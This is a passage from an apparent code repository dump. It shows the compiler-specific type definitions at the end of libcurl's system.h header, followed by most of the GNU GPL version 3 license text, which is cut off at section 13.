&& (defined(__ILP32) || \ 289 | defined(__i386) || \ 290 | defined(__sparcv8) || \ 291 | defined(__sparcv8plus)) 292 | # define CURL_TYPEOF_CURL_OFF_T long long 293 | # define CURL_FORMAT_CURL_OFF_T "lld" 294 | # define CURL_FORMAT_CURL_OFF_TU "llu" 295 | # define CURL_SUFFIX_CURL_OFF_T LL 296 | # define CURL_SUFFIX_CURL_OFF_TU ULL 297 | # elif defined(__LP64) || \ 298 | defined(__amd64) || defined(__sparcv9) 299 | # define CURL_TYPEOF_CURL_OFF_T long 300 | # define CURL_FORMAT_CURL_OFF_T "ld" 301 | # define CURL_FORMAT_CURL_OFF_TU "lu" 302 | # define CURL_SUFFIX_CURL_OFF_T L 303 | # define CURL_SUFFIX_CURL_OFF_TU UL 304 | # endif 305 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 306 | # define CURL_PULL_SYS_TYPES_H 1 307 | # define CURL_PULL_SYS_SOCKET_H 1 308 | 309 | #elif defined(__xlc__) /* IBM xlc compiler */ 310 | # if !defined(_LP64) 311 | # define CURL_TYPEOF_CURL_OFF_T long long 312 | # define CURL_FORMAT_CURL_OFF_T "lld" 313 | # define CURL_FORMAT_CURL_OFF_TU "llu" 314 | # define CURL_SUFFIX_CURL_OFF_T LL 315 | # define CURL_SUFFIX_CURL_OFF_TU ULL 316 | # else 317 | # define CURL_TYPEOF_CURL_OFF_T long 318 | # define CURL_FORMAT_CURL_OFF_T "ld" 319 | # define CURL_FORMAT_CURL_OFF_TU "lu" 320 | # define CURL_SUFFIX_CURL_OFF_T L 321 | # define CURL_SUFFIX_CURL_OFF_TU UL 322 | # endif 323 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 324 | # define CURL_PULL_SYS_TYPES_H 1 325 | # define CURL_PULL_SYS_SOCKET_H 1 326 | 327 | #elif defined(__hpux) /* HP aCC compiler */ 328 | # if !defined(_LP64) 329 | # define CURL_TYPEOF_CURL_OFF_T long long 330 | # define CURL_FORMAT_CURL_OFF_T "lld" 331 | # define CURL_FORMAT_CURL_OFF_TU "llu" 332 | # define CURL_SUFFIX_CURL_OFF_T LL 333 | # define CURL_SUFFIX_CURL_OFF_TU ULL 334 | # else 335 | # define CURL_TYPEOF_CURL_OFF_T long 336 | # define CURL_FORMAT_CURL_OFF_T "ld" 337 | # define CURL_FORMAT_CURL_OFF_TU "lu" 338 | # define CURL_SUFFIX_CURL_OFF_T L 339 | # define CURL_SUFFIX_CURL_OFF_TU UL 340 | # endif 341 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 342 | # define CURL_PULL_SYS_TYPES_H 1 343 | # define CURL_PULL_SYS_SOCKET_H 1 344 | 345 | /* ===================================== */ 346 | /* KEEP MSVC THE PENULTIMATE ENTRY */ 347 | /* ===================================== */ 348 | 349 | #elif defined(_MSC_VER) 350 | # if (_MSC_VER >= 1800) 351 | # include 352 | # define CURL_TYPEOF_CURL_OFF_T __int64 353 | # define CURL_FORMAT_CURL_OFF_T PRId64 354 | # define CURL_FORMAT_CURL_OFF_TU PRIu64 355 | # define CURL_SUFFIX_CURL_OFF_T i64 356 | # define CURL_SUFFIX_CURL_OFF_TU ui64 357 | # elif (_MSC_VER >= 900) && (_INTEGRAL_MAX_BITS >= 64) 358 | # define CURL_TYPEOF_CURL_OFF_T __int64 359 | # define CURL_FORMAT_CURL_OFF_T "I64d" 360 | # define CURL_FORMAT_CURL_OFF_TU "I64u" 361 | # define CURL_SUFFIX_CURL_OFF_T i64 362 | # define CURL_SUFFIX_CURL_OFF_TU ui64 363 | # else 364 | # define CURL_TYPEOF_CURL_OFF_T long 365 | # define CURL_FORMAT_CURL_OFF_T "ld" 366 | # define CURL_FORMAT_CURL_OFF_TU "lu" 367 | # define CURL_SUFFIX_CURL_OFF_T L 368 | # define CURL_SUFFIX_CURL_OFF_TU UL 369 | # endif 370 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 371 | 372 | /* ===================================== */ 373 | /* KEEP GENERIC GCC THE LAST ENTRY */ 374 | /* ===================================== */ 375 | 376 | #elif defined(__GNUC__) && !defined(_SCO_DS) 377 | # if !defined(__LP64__) && \ 378 | (defined(__ILP32__) || defined(__i386__) || defined(__hppa__) || \ 379 | defined(__ppc__) || defined(__powerpc__) || defined(__arm__) || \ 380 | defined(__sparc__) || defined(__mips__) || defined(__sh__) || \ 381 | defined(__XTENSA__) || \ 382 | (defined(__SIZEOF_LONG__) && __SIZEOF_LONG__ == 4) || \ 383 | (defined(__LONG_MAX__) && __LONG_MAX__ == 2147483647L)) 384 | # define CURL_TYPEOF_CURL_OFF_T long long 385 | # define CURL_FORMAT_CURL_OFF_T "lld" 386 | # define CURL_FORMAT_CURL_OFF_TU "llu" 387 | # define CURL_SUFFIX_CURL_OFF_T LL 388 | # define CURL_SUFFIX_CURL_OFF_TU ULL 389 | # elif defined(__LP64__) || \ 390 | defined(__x86_64__) || defined(__ppc64__) || defined(__sparc64__) || \ 391 | defined(__e2k__) || \ 392 | (defined(__SIZEOF_LONG__) && __SIZEOF_LONG__ == 8) || \ 393 | (defined(__LONG_MAX__) && __LONG_MAX__ == 9223372036854775807L) 394 | # define CURL_TYPEOF_CURL_OFF_T long 395 | # define CURL_FORMAT_CURL_OFF_T "ld" 396 | # define CURL_FORMAT_CURL_OFF_TU "lu" 397 | # define CURL_SUFFIX_CURL_OFF_T L 398 | # define CURL_SUFFIX_CURL_OFF_TU UL 399 | # endif 400 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 401 | # define CURL_PULL_SYS_TYPES_H 1 402 | # define CURL_PULL_SYS_SOCKET_H 1 403 | 404 | #else 405 | /* generic "safe guess" on old 32 bit style */ 406 | # define CURL_TYPEOF_CURL_OFF_T long 407 | # define CURL_FORMAT_CURL_OFF_T "ld" 408 | # define CURL_FORMAT_CURL_OFF_TU "lu" 409 | # define CURL_SUFFIX_CURL_OFF_T L 410 | # define CURL_SUFFIX_CURL_OFF_TU UL 411 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 412 | #endif 413 | 414 | #ifdef _AIX 415 | /* AIX needs */ 416 | #define CURL_PULL_SYS_POLL_H 417 | #endif 418 | 419 | /* CURL_PULL_SYS_TYPES_H is defined above when inclusion of header file */ 420 | /* sys/types.h is required here to properly make type definitions below. */ 421 | #ifdef CURL_PULL_SYS_TYPES_H 422 | # include 423 | #endif 424 | 425 | /* CURL_PULL_SYS_SOCKET_H is defined above when inclusion of header file */ 426 | /* sys/socket.h is required here to properly make type definitions below. */ 427 | #ifdef CURL_PULL_SYS_SOCKET_H 428 | # include 429 | #endif 430 | 431 | /* CURL_PULL_SYS_POLL_H is defined above when inclusion of header file */ 432 | /* sys/poll.h is required here to properly make type definitions below. */ 433 | #ifdef CURL_PULL_SYS_POLL_H 434 | # include 435 | #endif 436 | 437 | /* Data type definition of curl_socklen_t. */ 438 | #ifdef CURL_TYPEOF_CURL_SOCKLEN_T 439 | typedef CURL_TYPEOF_CURL_SOCKLEN_T curl_socklen_t; 440 | #endif 441 | 442 | /* Data type definition of curl_off_t. */ 443 | 444 | #ifdef CURL_TYPEOF_CURL_OFF_T 445 | typedef CURL_TYPEOF_CURL_OFF_T curl_off_t; 446 | #endif 447 | 448 | /* 449 | * CURL_ISOCPP and CURL_OFF_T_C definitions are done here in order to allow 450 | * these to be visible and exported by the external libcurl interface API, 451 | * while also making them visible to the library internals, simply including 452 | * curl_setup.h, without actually needing to include curl.h internally. 453 | * If some day this section would grow big enough, all this should be moved 454 | * to its own header file. 455 | */ 456 | 457 | /* 458 | * Figure out if we can use the ## preprocessor operator, which is supported 459 | * by ISO/ANSI C and C++. Some compilers support it without setting __STDC__ 460 | * or __cplusplus so we need to carefully check for them too. 461 | */ 462 | 463 | #if defined(__STDC__) || defined(_MSC_VER) || defined(__cplusplus) || \ 464 | defined(__HP_aCC) || defined(__BORLANDC__) || defined(__LCC__) || \ 465 | defined(__POCC__) || defined(__SALFORDC__) || defined(__HIGHC__) || \ 466 | defined(__ILEC400__) 467 | /* This compiler is believed to have an ISO compatible preprocessor */ 468 | #define CURL_ISOCPP 469 | #else 470 | /* This compiler is believed NOT to have an ISO compatible preprocessor */ 471 | #undef CURL_ISOCPP 472 | #endif 473 | 474 | /* 475 | * Macros for minimum-width signed and unsigned curl_off_t integer constants. 476 | */ 477 | 478 | #if defined(__BORLANDC__) && (__BORLANDC__ == 0x0551) 479 | # define CURLINC_OFF_T_C_HLPR2(x) x 480 | # define CURLINC_OFF_T_C_HLPR1(x) CURLINC_OFF_T_C_HLPR2(x) 481 | # define CURL_OFF_T_C(Val) CURLINC_OFF_T_C_HLPR1(Val) ## \ 482 | CURLINC_OFF_T_C_HLPR1(CURL_SUFFIX_CURL_OFF_T) 483 | # define CURL_OFF_TU_C(Val) CURLINC_OFF_T_C_HLPR1(Val) ## \ 484 | CURLINC_OFF_T_C_HLPR1(CURL_SUFFIX_CURL_OFF_TU) 485 | #else 486 | # ifdef CURL_ISOCPP 487 | # define CURLINC_OFF_T_C_HLPR2(Val,Suffix) Val ## Suffix 488 | # else 489 | # define CURLINC_OFF_T_C_HLPR2(Val,Suffix) Val/**/Suffix 490 | # endif 491 | # define CURLINC_OFF_T_C_HLPR1(Val,Suffix) CURLINC_OFF_T_C_HLPR2(Val,Suffix) 492 | # define CURL_OFF_T_C(Val) CURLINC_OFF_T_C_HLPR1(Val,CURL_SUFFIX_CURL_OFF_T) 493 | # define CURL_OFF_TU_C(Val) CURLINC_OFF_T_C_HLPR1(Val,CURL_SUFFIX_CURL_OFF_TU) 494 | #endif 495 | 496 | #endif /* CURLINC_SYSTEM_H */ 497 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | 